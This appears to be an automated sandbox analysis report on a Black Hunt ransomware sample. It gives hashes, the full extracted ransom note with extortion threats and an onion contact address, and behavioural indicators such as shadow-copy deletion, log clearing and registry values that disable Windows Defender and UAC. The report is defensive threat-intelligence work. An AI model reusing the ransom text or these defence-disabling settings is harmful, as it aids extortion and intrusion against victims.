a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27

Analysis

max time kernel
119s
max time network
123s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
19/01/2024, 00:22

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General

Target

a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
Size

707KB
MD5

117b43f462d3f9aa44e5ec55a87e81dc
SHA1

93a753bac621b2f0c185d13cada1af7ba99d1faa
SHA256

a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27
SHA512

ca7d04a741d625ea22f372e7288beaa8eb5345d743d83607c0aead1ded2d2584d57521de7d0c6aeacfaa8a1630ee00515f97baf4878e516fdd72af84bcec7cd9
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1+8pvnh:6uaTmkZJ+naie5OTamgEoKxLW1Nh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> p4BYqx3eda0ni7Lf </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
836	fsutil.exe
2636	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
1572	wevtutil.exe
1948	wevtutil.exe
2316	wevtutil.exe
2936	wevtutil.exe
940	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2064	bcdedit.exe
1420	bcdedit.exe
2236	bcdedit.exe
204	bcdedit.exe

Renames multiple (2916) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2200	wbadmin.exe
572	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
3136	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\U:	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened (read-only)	\??\H:	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\J:	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened (read-only)	\??\K:	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened (read-only)	\??\N:	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened (read-only)	\??\L:	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened (read-only)	\??\R:	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened (read-only)	\??\T:	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened (read-only)	\??\A:	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened (read-only)	\??\W:	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened (read-only)	\??\E:	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened (read-only)	\??\Z:	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened (read-only)	\??\B:	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\I:	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened (read-only)	\??\X:	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened (read-only)	\??\V:	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened (read-only)	\??\O:	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened (read-only)	\??\G:	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened (read-only)	\??\Y:	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened (read-only)	\??\M:	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened (read-only)	\??\P:	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened (read-only)	\??\S:	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Cordoba	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Inuvik	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Guam	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\license.html	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\ModuleAutoDeps\#BlackHunt_Private.key	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-core-multitabs.xml	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\epl-v10.html	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File created	C:\Program Files\Java\jre7\lib\zi\Asia\#BlackHunt_Private.key	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\#BlackHunt_ReadMe.hta	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_super.gif	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\#BlackHunt_ReadMe.hta	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\prodbig.gif	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.net_1.2.200.v20140124-2013.jar	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File created	C:\Program Files\Java\jre7\bin\dtplugin\#BlackHunt_ReadMe.txt	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cs\LC_MESSAGES\#BlackHunt_ReadMe.txt	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File created	C:\Program Files (x86)\Reference Assemblies\#BlackHunt_ReadMe.txt	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\epl-v10.html	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Srednekolymsk	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\#BlackHunt_ReadMe.hta	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File created	C:\Program Files (x86)\Google\Update\#BlackHunt_Private.key	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
